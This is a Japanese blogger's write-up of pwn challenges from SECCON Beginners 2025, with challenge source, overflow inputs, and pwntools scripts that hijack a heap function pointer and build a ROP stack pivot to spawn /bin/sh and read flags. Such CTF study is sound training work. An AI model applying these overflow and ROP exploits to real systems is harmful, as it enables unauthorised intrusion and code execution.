はじめに
CTFを始めて3か月弱でSECCON Beginners 2025に参加しました。
バイナリを中心に勉強してたのでバイナリに全振りして最初の2問しか解けませんでした(笑)
解けた2問と途中の3問目だけですが簡単にまとめました。
pet_name
ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。
とりあえず普通に動かしてみる。
ソースコード見ても分かるようにmeowが返ってくるだけっぽい。
$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: hogehoge
hogehoge sound: meow
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void init() {
// You don't need to read this because it's just initialization
setbuf(stdout, NULL);
setbuf(stdin, NULL);
}
int main() {
init();
char pet_name[32] = {0};
char path[128] = "/home/pwn/pet_sound.txt";
printf("Your pet name?: ");
scanf("%s", pet_name);
FILE *fp = fopen(path, "r");
if (fp) {
char buf[256] = {0};
if (fgets(buf, sizeof(buf), fp) != NULL) {
printf("%s sound: %s\n", pet_name, buf);
} else {
puts("Failed to read the file.");
}
fclose(fp);
} else {
printf("File not found: %s\n", path);
}
return 0;
}
ユーザーからの入力を受けてくれるので何も考えずバッファーオーバーフローしてみる。
$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: 0123456789abcdef0123456789abcdef0123456789abcdef
File not found: 0123456789abcdef
pet_name[32]から溢れた16文字がpath[128]を侵食したので、問題文にあったパスを直接入力してみる。
$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: 0123456789abcdef0123456789abcdef/home/pwn/flag.txt
0123456789abcdef0123456789abcdef/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}
pet_sound
ペットに鳴き声を教えましょう。
⇒(´・ω・`)知らんがな
普通に動かす。
$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!
[hint] The secret action 'speak_flag' is at: 0x606e5dc13492
[*] Pet A is allocated at: 0x606e786bf2a0
[*] Pet B is allocated at: 0x606e786bf2d0
[Initial Heap State]
--- Heap Layout Visualization ---
0x0000606e786bf2a0: 0x0000606e5dc135d2 <-- pet_A->speak
0x0000606e786bf2a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x0000606e786bf2b0: 0x0000000000000000
0x0000606e786bf2b8: 0x0000000000000000
0x0000606e786bf2c0: 0x0000000000000000
0x0000606e786bf2c8: 0x0000000000000031
0x0000606e786bf2d0: 0x0000606e5dc135d2 <-- pet_B->speak (TARGET!)
0x0000606e786bf2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x0000606e786bf2e0: 0x0000000000000000
0x0000606e786bf2e8: 0x0000000000000000
0x0000606e786bf2f0: 0x0000000000000000
0x0000606e786bf2f8: 0x0000000000020d11
---------------------------------
Input a new cry for Pet A > hogehoge
[Heap State After Input]
--- Heap Layout Visualization ---
0x0000606e786bf2a0: 0x0000606e5dc135d2 <-- pet_A->speak
0x0000606e786bf2a8: 0x65676f6865676f68 <-- pet_A->sound
0x0000606e786bf2b0: 0x000000000000000a
0x0000606e786bf2b8: 0x0000000000000000
0x0000606e786bf2c0: 0x0000000000000000
0x0000606e786bf2c8: 0x0000000000000031
0x0000606e786bf2d0: 0x0000606e5dc135d2 <-- pet_B->speak (TARGET!)
0x0000606e786bf2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x0000606e786bf2e0: 0x0000000000000000
0x0000606e786bf2e8: 0x0000000000000000
0x0000606e786bf2f0: 0x0000000000000000
0x0000606e786bf2f8: 0x0000000000020d11
---------------------------------
Pet says: hogehoge
Pet says: wan...
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);
struct Pet {
void (*speak)(struct Pet *p);
char sound[32];
};
int main() {
struct Pet *pet_A, *pet_B;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
puts("--- Pet Hijacking ---");
puts("Your mission: Make Pet speak the secret FLAG!\n");
printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);
pet_A = malloc(sizeof(struct Pet));
pet_B = malloc(sizeof(struct Pet));
pet_A->speak = speak_sound;
strcpy(pet_A->sound, "wan...");
pet_B->speak = speak_sound;
strcpy(pet_B->sound, "wan...");
printf("[*] Pet A is allocated at: %p\n", pet_A);
printf("[*] Pet B is allocated at: %p\n", pet_B);
puts("\n[Initial Heap State]");
visualize_heap(pet_A, pet_B);
printf("\n");
printf("Input a new cry for Pet A > ");
read(0, pet_A->sound, 0x32);
puts("\n[Heap State After Input]");
visualize_heap(pet_A, pet_B);
pet_A->speak(pet_A);
pet_B->speak(pet_B);
free(pet_A);
free(pet_B);
return 0;
}
void speak_flag(struct Pet *p) {
char flag[64] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
return;
}
fgets(flag, sizeof(flag), f);
fclose(f);
flag[strcspn(flag, "\n")] = '\0';
puts("\n**********************************************");
puts("* Pet suddenly starts speaking flag.txt...!? *");
printf("* Pet: \"%s\" *\n", flag);
puts("**********************************************");
exit(0);
}
void speak_sound(struct Pet *p) {
printf("Pet says: %s\n", p->sound);
}
void visualize_heap(struct Pet *a, struct Pet *b) {
unsigned long long *ptr = (unsigned long long *)a;
puts("\n--- Heap Layout Visualization ---");
for (int i = 0; i < 12; i++, ptr++) {
printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
if (ptr == (unsigned long long *)a->sound) printf(" <-- pet_A->sound");
if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
if (ptr == (unsigned long long *)b->sound) printf(" <-- pet_B->sound");
puts("");
}
puts("---------------------------------");
}
ここでもみんな大好きバッファーオーバーフローしてみる。
$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!
[hint] The secret action 'speak_flag' is at: 0x5beb642a9492
[*] Pet A is allocated at: 0x5beb91e242a0
[*] Pet B is allocated at: 0x5beb91e242d0
[Initial Heap State]
--- Heap Layout Visualization ---
0x00005beb91e242a0: 0x00005beb642a95d2 <-- pet_A->speak
0x00005beb91e242a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005beb91e242b0: 0x0000000000000000
0x00005beb91e242b8: 0x0000000000000000
0x00005beb91e242c0: 0x0000000000000000
0x00005beb91e242c8: 0x0000000000000031
0x00005beb91e242d0: 0x00005beb642a95d2 <-- pet_B->speak (TARGET!)
0x00005beb91e242d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005beb91e242e0: 0x0000000000000000
0x00005beb91e242e8: 0x0000000000000000
0x00005beb91e242f0: 0x0000000000000000
0x00005beb91e242f8: 0x0000000000020d11
---------------------------------
Input a new cry for Pet A > 0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
[Heap State After Input]
--- Heap Layout Visualization ---
0x00005beb91e242a0: 0x00005beb642a95d2 <-- pet_A->speak
0x00005beb91e242a8: 0x3736353433323130 <-- pet_A->sound
0x00005beb91e242b0: 0x6665646362613938
0x00005beb91e242b8: 0x3736353433323130
0x00005beb91e242c0: 0x6665646362613938
0x00005beb91e242c8: 0x3736353433323130
0x00005beb91e242d0: 0x6665646362613938 <-- pet_B->speak (TARGET!)
0x00005beb91e242d8: 0x00002e2e2e6e3130 <-- pet_B->sound
0x00005beb91e242e0: 0x0000000000000000
0x00005beb91e242e8: 0x0000000000000000
0x00005beb91e242f0: 0x0000000000000000
0x00005beb91e242f8: 0x0000000000020d11
---------------------------------
Pet says: 0123456789abcdef0123456789abcdef0123456789abcdef01n...
Segmentation fault (core dumped)
pet_B->speak (TARGET!)の値が変わったので、ヒントに書いてあるspeak_flagのアドレスを書き込んでみる。
ただ、アドレスは変わるのでヒントからアドレスを取得する必要がある。
取得したら40バイト分の適当な文字列にspeak_flagのアドレスを加えてspeak_flagを実行させる。
#!/usr/bin/python3
from pwn import *
import re
host = 'pet-sound.challenges.beginners.seccon.jp'
port = 9090
#io = process('./chall')
io = remote(host, port)
recValue = io.recvuntil(b'Input a new cry for Pet A >')
recValue_str = recValue.decode()
print(recValue_str)
match = re.search(r"The secret action 'speak_flag' is at: (0x[0-9a-fA-F]+)", recValue_str)
if match:
addr = int(match.group(1), 16)
log.success(f"speak_flag address: {hex(addr)}")
else:
log.error("speak_flag address not found.")
payload = b"A" * 40
payload += p64(addr)
io.send(payload)
response = io.recvall()
print(response.decode('utf-8', errors='replace'))
$ python3 exploit.py
[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!
[hint] The secret action 'speak_flag' is at: 0x5eebd37ba492
[*] Pet A is allocated at: 0x5eebd97a82a0
[*] Pet B is allocated at: 0x5eebd97a82d0
[Initial Heap State]
--- Heap Layout Visualization ---
0x00005eebd97a82a0: 0x00005eebd37ba5d2 <-- pet_A->speak
0x00005eebd97a82a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005eebd97a82b0: 0x0000000000000000
0x00005eebd97a82b8: 0x0000000000000000
0x00005eebd97a82c0: 0x0000000000000000
0x00005eebd97a82c8: 0x0000000000000031
0x00005eebd97a82d0: 0x00005eebd37ba5d2 <-- pet_B->speak (TARGET!)
0x00005eebd97a82d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005eebd97a82e0: 0x0000000000000000
0x00005eebd97a82e8: 0x0000000000000000
0x00005eebd97a82f0: 0x0000000000000000
0x00005eebd97a82f8: 0x0000000000020d11
---------------------------------
Input a new cry for Pet A >
[+] speak_flag address: 0x5eebd37ba492
[+] Receiving all data: Done (881B)
[*] Closed connection to pet-sound.challenges.beginners.seccon.jp port 9090
[Heap State After Input]
--- Heap Layout Visualization ---
0x00005eebd97a82a0: 0x00005eebd37ba5d2 <-- pet_A->speak
0x00005eebd97a82a8: 0x4141414141414141 <-- pet_A->sound
0x00005eebd97a82b0: 0x4141414141414141
0x00005eebd97a82b8: 0x4141414141414141
0x00005eebd97a82c0: 0x4141414141414141
0x00005eebd97a82c8: 0x4141414141414141
0x00005eebd97a82d0: 0x00005eebd37ba492 <-- pet_B->speak (TARGET!)
0x00005eebd97a82d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005eebd97a82e0: 0x0000000000000000
0x00005eebd97a82e8: 0x0000000000000000
0x00005eebd97a82f0: 0x0000000000000000
0x00005eebd97a82f8: 0x0000000000020d11
---------------------------------
Pet says: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��{��^
**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
pet_B->speak (TARGET!)のアドレスが書き換わってフラグ奪取。
pivot4b(奪取できんかった)
スタックはあなたが創り出すものです。
⇒さいですか
普通に実行。
$ nc pivot4b.challenges.beginners.seccon.jp 12300
Welcome to the pivot game!
Here's the pointer to message: 0x7fff0a5a70c0
> 0123456789abcdef0123456789abcdef0123456789abcdef
Message: 0123456789abcdef0123456789abcdef0123456789abcdef
ソースコードを見てみると、gift_set_first_arg()とgift_call_system()がある。
ROP(Return Oriented Programming)のための材料が置いてあるのでROPでシェルを呼び出してフラグを奪取する方針で進めたが力尽きた…
ROPするときにpop rdi; ret;が都合いいらしい。
あとはsystem関数のアドレスが置いてくれてる。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gift_set_first_arg() {
asm volatile("pop %rdi");
asm volatile("ret");
}
void gift_call_system() {
system("echo \"Here's your gift!\"");
}
int main() {
char message[0x30];
printf("Welcome to the pivot game!\n");
printf("Here's the pointer to message: %p\n", message);
printf("> ");
read(0, message, sizeof(message) + 0x10);
printf("Message: %s\n", message);
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
以下は失敗作
スタックの構成
|---------------------------|
|0x0000 |"/bin/sh" |
|---------------------------|
|0x0008 |pop rdi; ret |
|---------------------------|
|0x0010 |&message[0] |
|---------------------------|
|0x0018 |system() |
|---------------------------|
|0x0020 |0x0000000000000000 |
|---------------------------|
|0x0028 |0x0000000000000000 |
|---------------------------|
|0x0030 |0x0000000000000000 |
|---------------------------|
|0x0038 |&message[0] + 0x08 |
|---------------------------|
from pwn import *
elf = ELF('/bin/sh')
rop = ROP(elf)
host = 'pivot4b.challenges.beginners.seccon.jp'
port = 12300
gdb_script = f"""break *0x00000000004011f1"""
io = process('./chall')
#io = gdb.debug('./chall', aslr=False, gdbscript=gdb_script)
#io = remote(host, port)
output = io.recvuntil(b'>')
output_str = output.decode()
log.info(output_str)
match = re.search(r"Here's the pointer to message: (0x[0-9a-fA-F]+)", output_str)
if match:
addr = int(match.group(1), 16)
log.success(f"address: {hex(addr)}")
else:
log.error("address not found.")
pop_rdi_ret = 0x40117a
binsh_addr = addr
system_addr = 0x401040
payload = b"/bin/sh\0"
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += b"\0" * (0x38 - len(payload))
payload += p64(addr + 0x08)
log.info(f"payload : {payload}")
log.info(f"len : {len(payload)}")
io.send(payload)
io.interactive()
$ python3 exploit.py
[*] '/bin/sh'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] Loaded 66 cached gadgets for '/bin/sh'
[+] Starting local process './chall': pid 1826
[*] Welcome to the pivot game!
Here's the pointer to message: 0x7ffdd0025510
>
[+] address: 0x7ffdd0025510
[*] payload : b'/bin/sh\x00z\x11@\x00\x00\x00\x00\x00\x10U\x02\xd0\xfd\x7f\x00\x00@\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18U\x02\xd0\xfd\x7f\x00\x00'
[*] len : 64
[*] Switching to interactive mode
Message: /bin/sh
[*] Got EOF while reading in interactive
$
[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 1826)
[*] Got EOF while sending in interactive
こんな感じでシェル奪取できず力尽きた…
終了後にSECCON鯖のpwnableチャンネルにて、スタックのアライメントに関するチャットがあり、Pythonコードを上げてくださっていたので自分のコードに足りない命令を追加して再度実行したらシェル奪取成功。
共有してくださった方には、この場を借りて感謝を申し上げます。
#!/usr/bin/python3
from pwn import *
elf = ELF('/bin/sh')
rop = ROP(elf)
host = 'pivot4b.challenges.beginners.seccon.jp'
port = 12300
gdb_script = f"""break *0x00000000004011f1"""
#io = process('./chall')
#io = gdb.debug('./chall', aslr=False, gdbscript=gdb_script)
io = remote(host, port)
output = io.recvuntil(b'>')
output_str = output.decode()
log.info(output_str)
match = re.search(r"Here's the pointer to message: (0x[0-9a-fA-F]+)", output_str)
if match:
addr = int(match.group(1), 16)
log.success(f"address: {hex(addr)}")
else:
log.error("address not found.")
ret_addr = 0x40101a
pop_rdi_ret = 0x40117a
binsh_addr = addr
system_addr = 0x401040
leave_addr = 0x401211
payload = b"/bin/sh\0"
payload += p64(ret_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += b"\0" * (0x30 - len(payload))
payload += p64(addr)
payload += p64(leave_addr)
log.info(f"payload : {payload}")
log.info(f"len : {len(payload)}")
io.send(payload)
io.interactive()
$ python3 exploit.py
[*] '/bin/sh'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] Loaded 66 cached gadgets for '/bin/sh'
[+] Opening connection to pivot4b.challenges.beginners.seccon.jp on port 12300: Done
[*] Welcome to the pivot game!
Here's the pointer to message: 0x7ffdb9799360
>
[+] address: 0x7ffdb9799360
[*] payload : b'/bin/sh\x00\x1a\x10@\x00\x00\x00\x00\x00z\x11@\x00\x00\x00\x00\x00`\x93y\xb9\xfd\x7f\x00\x00@\x10@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x93y\xb9\xfd\x7f\x00\x00\x11\x12@\x00\x00\x00\x00\x00'
[*] len : 64
[*] Switching to interactive mode
Message: /bin/sh
$ ls
flag-bce7759151aa98ff2e61358f578ec2eb.txt
run
$ cat flag*
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
$
pivot4b++(未着手)
pivot4bからGiftがなくなってしまいました...
無理だった
TimeOfControl(未着手)
カーネルの世界に足を踏み入れてみませんか?
⇒勘弁してくれ
戦意喪失
おわりに
とりあえず頑張った。
次の機会があったらROP問題は攻略できるようになることを目標にやっていこうと思う。